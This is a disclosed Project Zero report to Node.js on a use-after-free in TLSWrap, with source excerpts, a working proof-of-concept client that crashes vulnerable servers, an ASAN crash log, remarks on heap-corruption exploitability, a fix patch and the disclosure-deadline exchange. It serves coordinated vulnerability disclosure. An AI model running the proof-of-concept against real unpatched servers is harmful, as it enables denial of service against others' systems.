

27

## Node.js: use-after-free in TLSWrap

Share:     

## TIMELINE

fwiilhelm submitted a report to [Node.js](#).

Sep 22nd (2 ye

## Node.js: use-after-free in TLSWrap

Node v14.11.0 (Current) is vulnerable to a use-after-free bug in its TLS implementation.

When writing to a TLS enabled socket, `node::StreamBase::Write` calls `node::TLSWrap::DoWrite` with a freshly allocated `WriteWrap` object as first argument. If the `DoWrite` method does not return an error, this object is passed back to the caller as part of a `StreamWriteResult` structure:

```
// stream_base-inl.h
WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);

err = DoWrite(req_wrap, bufs, count, send_handle);
bool async = err == 0;

if (!async) {
  req_wrap->Dispose();
  req_wrap = nullptr;
}

const char* msg = Error();
if (msg != nullptr) {
  req_wrap_obj->Set(env->context(),
  env->error_string(),
  OneByteString(env->isolate(), msg)).Check();
  ClearError();
}

return StreamWriteResult { async, err, req_wrap, total_bytes };
```

The problem is that `TLSWrap::DoWrite` can trigger a free of the `WriteWrap` object without returning an error when the `EncOut()` call at the end of the `DoWrite` method fails. `EncOut()` calls `underlying_stream()->Write()` to write TLS encrypted data to the network socket. If this write fails, `InvokeQueued()` is called and the function returns immediately:

```
// tlswrap.cc
// Write any encrypted/handshake output that may be ready.
// Guard against sync call of current_write->Done(), its unsupported.
indowrite = true;
EncOut();
indowrite = false;

return 0;

// tls_wrap.cc
void TLSWrap::EncOut() {
[...]

Debug(this, "Writing %zu buffers to the underlying stream", count);
StreamWriteResult res = underlying_stream()->Write(bufs, count);
if (res.err != 0) {
  InvokeQueued(res.err);
  return;
}
[.]
```

`InvokeQueued()` triggers an immediate free of the `req_wrap` `WriteWrap*` object via the following call chain:

```
node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone
-> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl()
-> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap()
```

Making `underlying_stream()->Write` fail is as easy as closing the socket at the other side of the connection just before the write to trigger a broken pipe error.

Because `node::TLSWrap::DoWrite` doesn't return an error code, `node::StreamBase::Write` will return the freed `WriteWrap` object as part of its `StreamWriteResult`. For calls by `node::StreamBase::WriteV`, this will immediately trigger a use-after-free when the `SetAllocatedStorage()` method is called on the freed object:

```
// stream_base.cc
StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
SetWriteResult(res);
if (res.wrap != nullptr && storage_size > 0) {
```

The bug can be easily triggered against a simple Node.js server application. Under normal circumstances and without an ASAN enabled build, the UAF doesn't trigger a crash on Linux as the freed memory won't get reallocated in time and the write in `SetAllocatedStorage` corrupts chunk metadata that isn't used for small chunks. I think this is the only reason why the bug wasn't spotted earlier, as the broken pipe error path should be hit pretty often in the real world. However, this issue might still be exploitable with the right heap layout (if the `WriteWrap` chunk is merged with a larger chunk during the free), different heap implementations and/or some other control flow that allows to allocate something before the reuse.

Proof-of-Concept:

server.js:

Code 1.09 KiB [Wrap lines](#) [Copy](#) [Down](#)

```

1  const https = require('https');
2
3  const key = `-----BEGIN EC PARAMETERS-----
4  BggqhkJOPQMBBw==
5  -----END EC PARAMETERS-----
6  -----BEGIN EC PRIVATE KEY-----
7  MHCQAQEIDKFHHb1Jmdu2STyHL11fWC7psMY19/gUNpsUpkwgGACoAoGCCqGSM49
8  AwEHoQDQgAEItqm+pyj3Ca8b15mBs+H8xSMxuW2JNn4I+kw3AREsetLk8pn3o81
9  PWB1TdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
10 -----END EC PRIVATE KEY-----`
11
12 const cert = `-----BEGIN CERTIFICATE-----
13 MIIBhjCCASsCFDJU1tCo88NYU//pE+DQK09hUDsFMAoGCCqGSM49BAMCEUx CzAJ
14 BgNVBAYTAKFVMRMEQYDVQQIDApTb211LVN0YXRIMSEwHwYDVQKDBHJbnR1cm51
15 dCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwOTIyMDg1NDU5WhcNNDgwMjA3MDg1NDU5
16 WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwY
17 SW50ZXJ1ZjZ0ZGv21kZ210cyBQdHkgTHRkMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcD
18 QgAEItqm+pyj3Ca8b15mBs+H8xSMxuW2JNn4I+kw3AREsetLk8pn3o81PWB1TdSZ
19 rGBGQSy+UAlQvYeE6Z/QXQk8azAKBggqhkJOPQDQAgNjADBgAiEA78dn4F87KqIe
20 Y/ABY/XIXXpFub2nyv3zV7PQI21PcECIQ3UWLmfiedpiIKsF9YRIy0OuEood7+
21 glj2R1NNr1X68w==
22 -----END CERTIFICATE-----`
23
24 const options = {
25   key: key,
26   cert: cert,
27 };
28
29 https.createServer(options, function (req, res) {
30   res.writeHead(200);
31   res.end("hello world\n");
32 }).listen(4444);

```

poc.js:

Code 449 Bytes [Wrap lines](#) [Copy](#) [Down](#)

```

1  const tls = require('tls')
2
3  var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {
4    console.log("connected")
5    socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
6    socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
7    socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
8  })
9
10
11 socket.on('data', () => {
12   socket.destroy()
13 })

```

The POC triggers a crash when server.js is run on an ASAN enabled build of node.js:

Code 8.55 KiB [Wrap lines](#) [Copy](#) [Down](#)

```

1  ==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x00000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
2  READ of size 8 at 0x608000011138 thread T0
3      #0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::__M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gn
4      #1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/./
5      #2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-g
6      #3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/./src/allocated_buffer-inl.h:79:8
7      #4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/./src/stream_base-inl.h:247:3
8      #5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/./src/stream_base.cc:172:15
9      #6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<
10     #7 0xcaf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/./deps/v8/src/api/api-arguments-inl.h:158:
11     #8 0xcabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Iso
12     #9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins
13     #10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.c

```


```

17 freed by thread T0 here:
18 #0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)
19 #1 0x1070177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/./src/stream_base.h:418:7
20 #2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/./src/base_object-inl.h:203:7
21 #3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/./src/base_object-inl.h:248:12
22 #4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/./src/stream_base-inl.h:40:1
23 #5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/./src/stream_base.cc:591:3
24 #6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/./src/stream_base-inl.h:261:3
25 #7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/./src/tls_wrap.cc:101:8
26 #8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/./src/tls_wrap.cc:356:5
27 #9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/./src/tls_wrap.cc:820:3
28 #10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/./src/stream_base-inl.h:193:9
29 #11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/./src/stream_base.cc:169:27
30 #12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/./src/stream_base.cc:169:27
31 #13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/./deps/v8/src/api/api-arguments-inl.h:158
32 #14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
33 #15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
34 #16 0x1ca8e0e in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
35 #17 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)
36
37 previously allocated by thread T0 here:
38 #0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)
39 #1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/./src/stream_base.cc:629:10
40 #2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/./src/stream_base-inl.h:191:25
41 #3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/./src/stream_base.cc:169:27
42 #4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/./src/stream_base.cc:169:27
43 #5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/./deps/v8/src/api/api-arguments-inl.h:158
44 #6 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
45 #7 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
46 #8 0x1ca8e0e in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/./deps/v8/src/builtins/builtins-api.cc:113:21
47 #9 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)
48 #10 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
49 #11 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
50
51
52 SUMMARY: AddressSanitizer: heap-use-after-free /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42 in std::__un
53 Shadow bytes around the buggy address:
54 0x0c107fffa1d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
55 0x0c107fffa1e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
56 0x0c107fffa1f0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
57 0x0c107fffa200: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
58 0x0c107fffa210: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
59 =>0x0c107fffa220: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
60 0x0c107fffa230: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
61 0x0c107fffa240: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
62 0x0c107fffa250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
63 0x0c107fffa260: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
64 0x0c107fffa270: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
65 Shadow byte legend (one shadow byte represents 8 application bytes):
66 Addressable: 00
67 Partially addressable: 01 02 03 04 05 06 07
68 Heap left redzone: fa
69 Freed heap region: fd
70 Stack left redzone: f1
71 Stack mid redzone: f2
72 Stack right redzone: f3
73 Stack after return: f5
74 Stack use after scope: f8
75 Global redzone: f9
76 Global init order: f6
77 Poisoned by user: f7
78 Container overflow: fc
79 Array cookie: ac
80 Intra object redzone: bb
81 ASan internal: fe
82 Left alloca redzone: ca
83 Right alloca redzone: cb
84 Shadow gap: cc
85 ==1408671==ABORTING

```

Credits:  
Felix Wilhelm of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-12-21. Disclosure at an earlier date is also possible if agreed upon by all parties.

 mcollina (Node.js staff) posted a comment. Sep 22nd (2 ye

Thanks for reporting this Felix, it's really a nasty bug. Could you please articulate how this could be exploited in practice? You mention that the impact is Remote C Execution, but there is no PoC for it. Given your extensive research, have you got a potential fix?

If this is theoretical, we might want to fix this in the public tracker as we have just issued a security release and this would have to wait for a few months before we new one.

Have you verified this to be present only in v14 or also in 12?

 mcollina (Node.js staff) changed the status to Needs more info. Sep 22nd (2 ye

 fwilhelm changed the status to New. Sep 22nd (2 ye

Hi Matteo,

It's a somewhat limited memory corruption so it's difficult to make any definite statements about exploitability. And any assessment would only apply to a single version-OS combination (and even be application specific). With this in mind and based on my very rough initial analysis, an RCE exploit against a Linux system using glibc seems difficult, but not impossible:

In the flow that my POC triggers, there are no allocation between free and use so an attacker can't corrupt a newly allocated object. SetAllocatedStorage() will write pointer into offset 0x10 which isn't used for small free memory regions. This leads to the masking of the bug under normal circumstances. However, there is another call to free() that can trigger merging of chunks through an internal glibc function (malloc\_consolidate). If the chunk of the WriteWrap object gets merged with a large one, the UAF ends up corrupting glibc heap metadata (fd\_nextsize) with a valid pointer. This is at least a Denial-of-Service, but can potentially be turned into a full exploit.

The situation might be completely different for other version or operating systems. Small changes to the WriteWrap class layout or the Stream methods could make RCE easier or impossible.

FWIW I quickly tested this on my OS X laptop and the proof of concept triggers a crash against a non-ASAN node install. So on OS X this is a trivial DoS.

I would **not** recommend to fix this in the public tracker without a security release before spending significant more effort on analysing exploitability.


Re Fix: My gut feeling would be that EncOut() in TLSWrap would need to report the sigpipe error back to its callers. But the whole stream handling code seems awfully complex so I'm not confident that I can contribute a correct patch for this. Sorry.

| Have you verified this to be present only in v14 or also in 12?


I just tried the POC against node-v12.18.4 and it is also affected.

 mcollina (Node.js staff) changed the status to Triaged. Sep 23rd (2 ye


Agreed, this must be fixed privately. Thanks for the detailed answer.

 jasnell (Node.js staff) posted a comment. Sep 30th (2 ye


Ok, I had suspected this may have been a possibility before but had not investigated further. I will take a look at preparing a fix for all release lines. Realistically it will be early next week before I can take a look

 jasnell (Node.js staff) posted a comment. Oct 7th (2 ye

I'm working on the fix for this for the main branch. Once I have the primary fix done, I'll work on backports

 jasnell (Node.js staff) posted a comment. Oct 7th (2 ye

FWIW, the challenge here is really with StreamBase and the way WriteWrap instances are handled in general. That is, this is not specific to TLSWrap, that just happens to be the place where the bug manifests. That's a long way of saying that fixing this properly will end up touching on a few more things than just TLSWrap.

 jasnell (Node.js staff) posted a comment. Oct 10th (2 ye

@fwilhelm ... while investigating this further, there was another change on the main node.js repo that may have fixed this -- at least, I'm not able to recreate the failure now. It would be excellent if you could give your test a try again rebasing from the master branch to see if the issue persists

 fwilhelm posted a comment. Oct 12th (2 ye

@jasnell

Thanks for looking into this.

I can still trigger the crash on the current master branch:


**Code** 204 Bytes Wrap lines Copy Down

```
1 [fwilhelm@fwilhelm node]$ git log
2 commit 2d83e743d934738a3ad26ed587eb7cfd6ca46081 (HEAD -> master, origin/master, origin/HEAD)
3 Author: Colin Ihrig <cjihrig@gmail.com>
4 Date: Fri Oct 9 16:48:11 2020 -0400
```

built with `./configure --debug --enable-asan && make -j4`

 jasnell (Node.js staff) posted a comment. Oct 12th (2 ye

Ok, I was afraid of that. I'll have a patch with a quick fix shortly for you to test

 jasnell (Node.js staff) posted a comment. Oct 12th (2 ye

Ok, please give the following patch a try to see if it resolves the issue. It appears to fix it on my end using valgrind to test.

**Code** 3.59 KiB Wrap lines Copy Down

```
1 From 7b935231653f64c2f5eca8dd42e75b8c336aebca Mon Sep 17 00:00:00 2001
2 From: James M Snell <jasnell@gmail.com>
3 Date: Mon, 12 Oct 2020 17:26:44 -0700
4 Subject: [PATCH] src: fixup use-after-free in TLSWrap
```

```

8  src/stream_base.cc | 2 +-
9  src/tls_wrap.cc    | 26 ++++++-----
10 src/tls_wrap.h     | 2 +-
11 3 files changed, 18 insertions(+), 12 deletions(-)
12
13 diff --git a/src/stream_base.cc b/src/stream_base.cc
14 index 3ad2017460..795873c530 100644
15 --- a/src/stream_base.cc
16 +++ b/src/stream_base.cc
17 @@ -168,7 +168,7 @@ int StreamBase::Writev(const FunctionCallbackInfo<Value>& args) {
18
19     StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
20     SetWriteResult(res);
21 - if (res.wrap != nullptr && storage_size > 0) {
22 + if (res.err == 0 && res.wrap != nullptr && storage_size > 0) {
23     res.wrap->SetAllocatedStorage(std::move(storage));
24     }
25     return res.err;
26 diff --git a/src/tls_wrap.cc b/src/tls_wrap.cc
27 index 908e3899db..13d47d8035 100644
28 --- a/src/tls_wrap.cc
29 +++ b/src/tls_wrap.cc
30 @@ -280,25 +280,25 @@ void TLSWrap::SSLInfoCallback(const SSL* ssl_, int where, int ret) {
31 }
32
33
34 -void TLSWrap::EncOut() {
35 +int TLSWrap::EncOut() {
36     Debug(this, "Trying to write encrypted output");
37
38     // Ignore cycling data if ClientHello wasn't yet parsed
39     if (!hello_parser_.IsEnded()) {
40         Debug(this, "Returning from EncOut(), hello_parser_ active");
41 - return;
42 + return 0;
43     }
44
45     // Write in progress
46     if (write_size_ != 0) {
47         Debug(this, "Returning from EncOut(), write currently in progress");
48 - return;
49 + return 0;
50     }
51
52     // Wait for `newSession` callback to be invoked
53     if (is_awaiting_new_session()) {
54         Debug(this, "Returning from EncOut(), awaiting new session");
55 - return;
56 + return 0;
57     }
58
59     // Split-off queue
60 @@ -309,7 +309,7 @@ void TLSWrap::EncOut() {
61
62     if (ssl_ == nullptr) {
63         Debug(this, "Returning from EncOut(), ssl_ == nullptr");
64 - return;
65 + return 0;
66     }
67
68     // No encrypted output ready to write to the underlying stream.
69 @@ -335,7 +335,7 @@ void TLSWrap::EncOut() {
70     });
71     }
72     }
73 - return;
74 + return 0;
75     }
76
77     char* data[kSimultaneousBufferCount];
78 @@ -354,8 +354,12 @@ void TLSWrap::EncOut() {
79     Debug(this, "Writing %zu buffers to the underlying stream", count);
80     StreamWriteResult res = underlying_stream()->Write(bufs, count);
81     if (res.err != 0) {
82 - InvokeQueued(res.err);
83 - return;
84 + if (!lin_dowrite_) {
85 +     InvokeQueued(res.err);

```

```

89 + return res.err;
90 }
91
92 if (!res.async) {
93   @@ -368,6 +372,8 @@ void TLSWrap::EncOut() {
94     OnStreamAfterWrite(nullptr, 0);
95   });
96 }
97 +
98 + return 0;
99 }
100
101
102 @@ -820,10 +826,10 @@ int TLSWrap::DoWrite(WritWrap* w,
103   // Write any encrypted/handshake output that may be ready.
104   // Guard against sync call of current_write_>Done(), its unsupported.
105   in_dowrite_ = true;
106   EncOut();
107 + int res = EncOut();
108   in_dowrite_ = false;
109
110 - return 0;
111 + return res;
112 }
113
114
115 diff --git a/src/tls_wrap.h b/src/tls_wrap.h
116 index 3b9a6c8598..5f32a73741 100644
117 --- a/src/tls_wrap.h
118 +++ b/src/tls_wrap.h
119 @@ -124,7 +124,7 @@ class TLSWrap : public AsyncWrap,
120   //
121   // EncIn() doesn't exist. Encrypted data is pushed from underlying stream into
122   // enc_in_ via the stream listener's OnStreamAlloc()/OnStreamRead() interface.
123 - void EncOut(); // Write encrypted data from enc_out_ to underlying stream.
124 + int EncOut(); // Write encrypted data from enc_out_ to underlying stream.
125   void ClearIn(); // SSL_write() clear data "in" to SSL.
126   void ClearOut(); // SSL_read() clear text "out" from SSL.
127
128 --
129 2.17.1

```

**fwilhelm** posted a comment. Oct 13th (2 ye  
 The patch looks good to me and the UaF doesn't trigger anymore once it is applied.

**snell** (Node.js staff) posted a comment. Oct 13th (2 ye  
 Awesome ok... at this point we've Identified two potential ways of fixing this in nodejs/node master branch and for both the pending 15.0.0 release and 14.x branch will be getting a pull request open in our private security repo to work that fix through. I have not yet investigated backporting the fix to both 12.x and 10.x, both of which will be affected by this also. Will update here once we've made progress on the PRs

**jasnell** (Node.js staff) updated the severity to High (7.5). Oct 13th (2 ye

**mhdawson** (Node.js staff) posted a comment. Nov 30th (2 ye  
**@fwilhelm** I see this in the initial report "This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-12-21."

The project has been working to build patches/fixes but at this point I'm starting to get concerned that we are not going to make the date. In addition even if we can get ready before the 21st unless it is within the next week or so doing a security release that close to the Christmas holiday may not be appreciated.

I'd like to discuss if the disclosure date can be moved out.


**fwilhelm** posted a comment. Dec 1st (2 ye  
**@mhdawson** I can grant a 14 day grace period as described in our disclosure policy (see <https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html>)  
 This would move the public disclosure date to Monday 2021-01-04, which seems like a good solution.  
 Would that work for you?

**snell** (Node.js staff) posted a comment. Dec 1st (2 ye  
 Thanks for that **@fwilhelm**, moving out the date would be greatly appreciated ... we have fixes for most of the current versions but we're running into some difficulty with the oldest LTS branch due to some of the necessary base level changes necessary not existing in that branch and a complete lack of time on my part to make those changes. We're working through the issue on our end and really appreciate the patience.


**mhdawson** (Node.js staff) posted a comment. Dec 1st (2 ye  
**@fwilhelm** thanks for moving it out 14 days as that would help but I have to ask if that is the farthest it can be moved. That is the day after the holidays which relies on our releasers being available (ie not taking any additional holidays) as well as potentially expecting project volunteers to do work over the holiday period.

**fwilhelm** posted a comment. Dec 8th (2 ye

Any other questions, please let me know.

 [mhdawson](#) Node.js staff posted a comment.  
I find it disappointing that there is no flexibility to do what's in the best interest of the community.  
Security releases have been planned for Jan 4th.

Dec 11th (2 ye

○  [mhdawson](#) Node.js staff closed the report and changed the status to Resolved.

Jan 4th (2 ye

○  [mhdawson](#) Node.js staff requested to disclose this report.


Jan 4th (2 ye

○  [fwilhelm](#) agreed to disclose this report.


Jan 5th (2 ye

○ This report has been disclosed.

Jan 5th (2 ye

 [danbev](#) posted a comment.  
[@fwilhelm](#) I would like to ask if you are able to accept an award for this report?

Mar 2nd (2 ye

 [fwilhelm](#) posted a comment.  
[@danbev](#) Thanks for the ping. I'm donating all awards/bounties to Médecins Sans Frontières, so I'm happy to accept it if you want to grant an award.

Mar 11th (2 ye